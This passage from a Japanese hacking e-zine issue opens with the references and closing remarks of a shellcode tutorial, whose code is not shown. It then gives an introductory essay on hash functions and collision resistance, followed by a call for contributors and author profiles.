Erickson著, 村上雅章訳. HACKING:美しき策謀-脆弱性攻撃の理論と実際. オライリージャパン, 2005. ・愛甲健二. アセンブリ言語の教科書. データハウス, 2005. ・UNYUN. ハッカー・プログラミング大全. データハウス, 2001. ・GNU アセンブラ入門(GAS), http://www.oklab.org/program/assembler/gas.html, (2008年1月3日). ■0x09.) おわりに  今回はシェルコードの作り方を解説しましたが、30バイト前後の小さなプログ ラムに様々なハックが詰まっていることをご理解いただけたことと思います。実 はこれでも最も基礎的なシェルコードであって、発展の余地は多く残されている のです。もう少しシェルコードをインプリメントさせても良いのですが、これは 少し難しくなりますので後回しにしたいと思います。次回は権限奪取が実現され る脆弱性として、BOFと双璧をなすフォーマットストリング攻撃について解説致し ます。その後、発展形のシェルコードを作って行きましょう。  それではまたお会いしましょう。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第5章: 基礎暗号学講座・第13回 〜ハッシュ関数〜 --- 著者:IPUSIRON x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  ハッシュ関数はインターネットにおけるセキュリティのあらゆる分野で利用さ れている。例えばファイルのバイナリのハッシュ値を取っておくことで、ファイ ルの改竄を検知することができ、これはフォレンジックの分野でも活躍している。 また、UNIXのログイン認証の際、パスワードファイルに暗号化されたパスワード が記録されているが、このときハッシュ関数が用いられていることもある。さら に、掲示板では騙り防止のためのトリップという概念が存在するが、これはハッ シュ関数と考え方は同じである。  よって、安全なハッシュ関数が必要といえる。しかし、そもそも「安全な」ハ ッシュ関数とはどのような意味を指すのだろうか。それを追っていくには、ハッ シュ関数そのものの定義を明らかにしていかなければならない。そこで、今回は ハッシュ関数の応用という観点ではなく、ハッシュ関数そのものの基礎的な部分 について焦点を当てる。 ■0x02.) 圧縮関数  ハッシュ関数の定義の前に、圧縮関数を定義する。圧縮関数という名から推測 できるが、これはある一定の長さのビット列をより短いビット列に変換する関数 である。  例えば、8ビットのビット列を4ビットのビット列に変換する圧縮関数を考えて みよう。この関数は「**** ****」のような2進8桁(8ビット)を入力したときに、 「****」のような2進4桁(4ビット)を出力するものである(「*」は0または1を 意味する)。ポイントは、入力値のビット数が固定されていて、なおかつ出力値 のビット数も固定されているということである。定義の言葉の「一定の長さのビ ット列」という部分が重要である。 ■0x03.) ハッシュ関数  ハッシュ関数とは、任意の長さのビット列を、一定の長さのビット列に変換す る関数である。  先ほどの圧縮関数との違いがわかるだろうか。圧縮関数のときの入力はビット 列が固定されていたが、ハッシュ関数のときの入力は任意のビット列、即ちビッ ト列が固定されていないということである。  また、圧縮関数のときは入力の長さは出力の長さより大きい必要があったが、 ハッシュ関数のときはそれは触れられていない。つまり、入力の長さと出力の長 さの大小関係は問題にしていないという点である。  例えば、任意のビット列を入力とし、入力値に含まれる1が奇数個なら1、偶数 個なら0という1ビットを出力するハッシュ関数を考える(ハッシュ関数の定義を 満たしている)。このハッシュ関数に「0100101」を入力すれば、「1」(入力値 には1が3つだから奇数)が出力される。またこのハッシュ関数に「101」を入力す れば「0」(入力値には1が2つだから偶数)が出力される。実は、この仕組みはネ ットワークの分野で登場するパリティチェック方式の奇数パリティと同じ考え方 である。入力値に含まれる1の個数の計算は、各桁の数字をすべて単純に排他的論 理和(XOR)で足し合わせればよいだけである。  このハッシュ関数の入力値は任意であり、一方出力値は1ビットである。即ち、 入力として取り得る値の候補数はいくらでもあるが、出力として取り得る値の候 補数は2パターンしかない(出力値が1ビットだから)。明らかに入力値の候補数 のほうが多いので、決してこの関数は単射になることはない。これはハッシュ関 数すべてに言える性質である。  これでハッシュ関数の定義はわかった。  次の問題は、任意の入力を取りつつ、一定の長さの出力を行うハッシュ関数を 作れるのかという点が疑問に残る。先ほどの奇数パリティの例の具体的に作れる ことは明らかである。しかし、ここで問題にしているのはどんなハッシュ関数で あっても作れるのかという点である。この問題は直観的に、圧縮関数があれば、 ハッシュ関数も作れそうだということが定義からわかると思う。なぜならば、ハ ッシュ関数の入力である任意のビット長の個数分だけ、圧縮関数を用意すればよ いだけだからである。ハッシュ関数に10ビットが入力されたら、内部で10ビット の入力値を取る圧縮関数を呼び出す。また、ハッシュ関数に4ビットが入力された ら、内部で4ビットの入力値を取る圧縮関数を呼び出す。こういう仕組みを考えれ ば、あらゆるビットの入力値を取る圧縮関数をたくさん用意しておけば、それに 応じて対応できるということになる。  これでハッシュ関数が構成できるということがいえそうだが、問題はまだ残っ ている。我々が欲しいハッシュ関数は「安全な」ハッシュ関数である。この問題 を解決するためには、「安全な」という意味を明確にする必要がある。よって、 次に安全性の説明を行う。 ■0x04.) 「安全な」という意味  ハッシュ関数における安全性とは2つの意味がある。第1に、具体的なハッシュ 関数、例えばMD5,SHA1などといったハッシュ関数そのものに関する安全性である。 第2に、すべてのハッシュ関数に共通して存在する安全性である。今回は具体的な ハッシュ関数について取り上げる予定がなく、まず共通した安全性が述べられて いないうちから具体的なハッシュ関数の問題点を述べても意味があまりないので、 すべてのハッシュ関数に共通して存在する安全性を議論の中心とする。  先ほどの奇数パリティの例でいうと、入力値が「111」や「10101」の場合、ど ちらとも出力値は「1」になる。このように入力値が異なるのに、出力値が一致し てしまった値のことをコリジョン(衝突)という。すべての圧縮関数、すべての ハッシュ関数はコリジョンを持つ。なぜならば単射ではないから、これは避けら れない。問題は不正を行う(多項式時間アルゴリズムである)敵が、コリジョン を持つような入力値の作れるかという点である。即ち、敵が出力値が一致するよ うな入力値のペアを計算できるかどうかという点である。  これは2つの状況が考えられる。まず、1つ目は敵が自由にコリジョンを発生さ せる入力値のペアを計算するという状況である。次に、ある指定された入力値の 出力値と同じ出力値を持つ入力値を計算するという状況、即ち入力値のペアの片 方が指定されて、そのもう片方を計算するという状況である。敵にとって、前者 の問題を衝突困難問題、後者の問題を弱衝突困難問題という。  問題を明確にするために、式を使って考える。ここではハッシュ関数をhとする。 -衝突困難問題 --(敵に与えられる)入力:h --(敵が解く値である)出力:h(x)=h(x')を満たすペア(x,x') -弱衝突困難問題 --(敵に与えられる)入力:h,x --(敵が解く値である)出力:h(x)=h(x')を満たすx'  2つの問題の違いがわかっただろうか。では、敵にとってどちらの問題の方が難 しいだろうか。「弱」と付いているからといって問題が簡単と勘違いしてはなら ない。実際には衝突困難問題より、弱衝突困難問題のほうが難しい。ポイントは 衝突困難問題の場合、コリジョンを発生させるどのようなペア(x,x')を出力すれ ばよいだけである。一方、弱衝突困難問題の場合、xは固定されていて、それに対 応するx'を求める必要があるのである。  例えば、コリジョンは必ず存在することを述べた。そして、最大でコリジョン は出力値の候補数分だけ存在する。しかもひとつのコリジョンでも、入力値のペ アは色々なパターンがある。そのパターンの1つでも求められればよいのが衝突困 難問題である。一方、入力値のペアは色々なパターンがあるが、そのうちペアの うちの1つが固定されているので、パターン対象が少なくなっている。この少ない パターンから1つ求めるのが弱衝突困難問題である。つまり、答えの候補が少なく なっているので、弱衝突困難問題のほうが直観的に難しいというのが理解できる と思う。  実際に暗号の世界できちんと証明しようとすれば、帰着法を用いる。つまり、 衝突困難問題を解くアルゴリズムが存在すると仮定して、弱衝突困難問題を解く アルゴリズムを構成できることを示せばよい。これはすごく簡単なので各自考え てもらいたい。  ここで、任意の敵にとって圧縮関数(もしくはハッシュ関数)の衝突困難問題 (もしくは弱衝突困難問題)が解けないとき、衝突困難(もしくは弱衝突困難) な圧縮関数(もしくはハッシュ関数)と呼ぶことにする。  これらがハッシュ関数の安全性に対応する性質である。問題の場合は衝突困難 問題より弱衝突困難問題のほうが難しいと述べたが、安全性の強弱はこれと逆に なる。意味で考えるとわかりやすい。容易な問題を敵が解くことができないとす るほうが安全性が強い。つまり、、弱衝突困難な圧縮関数(もしくはハッシュ関 数)より、衝突困難な圧縮関数(もしくはハッシュ関数)の方が安全だといえる。 よって、衝突困難なハッシュ関数のほうが存在意義が大きいことになる。 ■0x05.) 安全なハッシュ関数の構成  衝突困難な圧縮関数が存在するならば、衝突困難なハッシュ関数を構成する手 法が知られている。この手法をMD変換という。ここでは実際のMD変換の仕組みは 触れない。このMD変換を行っても、安全性が維持されることは次のURLで証明して いる。 http://akademeia.info/index.php?MD%CA%D1%B4%B9  また、安全な暗号スキームが存在すれば、衝突困難な圧縮関数は存在すること も知られている。  以上のことをまとめると、安全な暗号スキームが存在すれば、衝突困難なハッ シュ関数が存在するということである。  注意してもらいたいのはあくまで「安全な暗号スキームが存在すれば、衝突困 難なハッシュ関数が存在する」ことが証明されただけであり、具体的に衝突困難 なハッシュ関数はいまだ1つも発見されていない。つまり、衝突困難なハッシュ関 数は仮定を置くことで数学的に存在が証明されるが、実際にはまだ1つの衝突困難 なハッシュ関数も発見されていないのだ。  それでは仮定の妥当性が問題であることが疑われるが、仮定には特に問題ない。 (効率的かどうかはべつとして)安全な暗号スキームは具体的にいくつも発見さ れている。それなのに、衝突困難なハッシュ関数は1つもまだ発見されていないの である。  この事実は現在インターネット上で使われているハッシュ関数はすべて衝突困 難でないことも意味している。このことが問題かどうかということは、現在のコ ンピュータが実行できるビット長や、別の安全性なども考慮しなければならない ので、一概にはいえない。しかしながら、少なくとも現在は、理想的な状況では ないということだけは言えるだろう。 ■0x06.) 終わりに  今回は数学的記述をなるべく減らして、直観的な理解で読み進められるように したつもりでしたが、どうだったでしょうか。今回の記事を通じて、暗号に興味 を持たれた方が少しでも増えてくれれば本望です。  厳密性を欠いていて、暗号を専門にしている方にとっては眉をひそめる部分が あるかもしれませんが、その点は許してください。なお、ハッシュ関数について あまり詳しいわけではないので、間違えたことを記述していたら指摘してくださ い。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第6章: お知らせ --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○Wizard Bible(http://wizardbible.org/)では随時、執筆ライターを募集して います。  扱う内容のテーマは広義での「under ground」です。例えばハッキングからピ ッキングなどと幅広い内容を考えています。また特殊な職業や趣味を持った方の レクチャーなども含まれます。  一回きりでも構いません。また必ず毎回連載する義務もありませんので、でき る範囲で構いません。気軽に声をかけてください。 ○Kenji AikoさんがQ&Aを作ってくれました。初めて参加する人でもわかりやすく 書かれていますので、参考にしてください。 http://wizardbible.org/wbQandA.html ○Wizard Bibleに参加希望の方は気軽にメール(ipusiron@gmail.com)ください。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第7章: 著者プロフィール --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■金床 ●Job: プログラマー ●Web: http://guardian.jumperz.net/, http://www.jumperz.net/ ●Mail: anvil@jumperz.net ●Comment:  今回は英語での記事に挑戦してみました。つーかこのネタって既知だったでし ょうか。 ●新年を迎えての抱負  まず健康第一。不健康なので健康ヲタな漏れなのです。  次に英語。でも実は英語はほぼ極めたので、もう勉強しなくていいかなとも思 っていまつ。なんか、早口なやつらの英語はわかんないんだよね。あれは早口で 話すヤシが悪い。というかあんなのは英語じゃない。オレが理解できないのは英語じ ゃない。オレが知らない単語は全部スラングで、スラングを使う方が悪い。…のよ うに、何か困ったことがあっても理論的に自分を納得させる技を磨こうと思って いまつ。 ■eagle0wl ●Job: ミク調教師見習い ●Web: http://www.mysys.org/eagle0wl/ (休止中・再開未定) ●Mail: masm0wl@hotmail.com ●Team(Group): backsection ●Comment:  新年明けましておめでとうございます。今年もよろしくお願いいたします。と ある競技会の開催に関わっていることもあり、年末年始も休む暇なしです。この 原稿も競技会会場に向かう新幹線の中や宿泊先で夜を徹して書いています…(泣)。  今回も例によってレポート記事です。これまた例によって締め切りを延ばして もらい、その締め切りも破りつつ、息切れの激しいレポートになってしまいまし た。IPUSIRONさんには毎度ご迷惑をお掛けしており、非常に申し訳なく思います。 次お会いしたときに何かおごらせてください(汗)。  思えばWizard Bibleにはセミナーレポート記事しか書いていないような気がし ます。これはこれでアリなのかもしれませんが、レポしか書けないのかと言われ る前に、次はレポートでもリバースエンジニアリングでもないネタで挑戦したい と思います。  ちなみに鏡音リン・レンは発売日に購入しました。 ●2008年の抱負:  月並みですが健康第一です。体調不良が続いているので、今年こそ健康管理に 気をつけ、体調を整えた上で新しいことに挑戦できるようにしたいです。やはり 体が資本です。さすがに寄る年波には勝てず、そろそろ気合だけで乗り切るわけ にはいかなくなりましたので…。 ■Green boy 4 ●Job: Closed ●Web: N/A ●Mail: greenboy4@gmail.com ●Team(Group): N/A ●Comment:  最近時間がない病で困っています。皆さん、どうやって時間を作られているん でしょう…? ●2008年の抱負:  リバースエンジニアリングのスキルアップとC言語のスキルアップ。それに尽き ると思います。いつになったら一人前になれるかなぁ…。 ■Defolos ●Job: Student ●Web: http://ruffnex.oc.to/defolos/ ●Mail: defolos@ruffnex.oc.to ●Team(Group): none ●Comment:  こんにちは、2008年一発目に参加できてうれしく思います。気がつけば1年以上 も「はじめてのハッキング」シリーズを続けているのですね。今回はシェルコー ドについて取り上げましたが、海外のドキュメントを見ると思考を凝らしたシェ ルコードが山ほど開発されていますね。いつかそういったシェルコードについて 紹介できたらなーと思います。 ●2008年の抱負  2007年は教職科目の受講やExploiting実習の主催など色々なことに挑戦できた と思います。そんなわけで2007年の目標はそれなりに達成できたと自負しており ます。2008年はもう少し具体的に「本を書く」というのを目標にしようと思いま す。 ■IPUSIRON ●Job: Student ●Web: http://akademeia.info/ ●Mail: ipusiron@gmail.com ●Team(Group): N/A ●Comment:  卒業間際でバタバタしてしまい、2ヶ月ぶりのリリースになってしまいました。 申し訳ありませんでした。 ●2008年の抱負:  今年の抱負は無事卒業して、入社後早く一人前になりたいです。そのためには もう少しコンピュータについて自分から歩み寄っていかなければならないですね (汗)。その初手として、修論で提案するコミットメントスキームの実装をして みたいという気持ちがあります。1月を過ぎれば少し余裕が出そうなので、2月ぐ らいから始めたいです。また、次の本をそろそろ出していきたいです。できれば 入社前に半分ぐらいは原稿書きあげたいところです。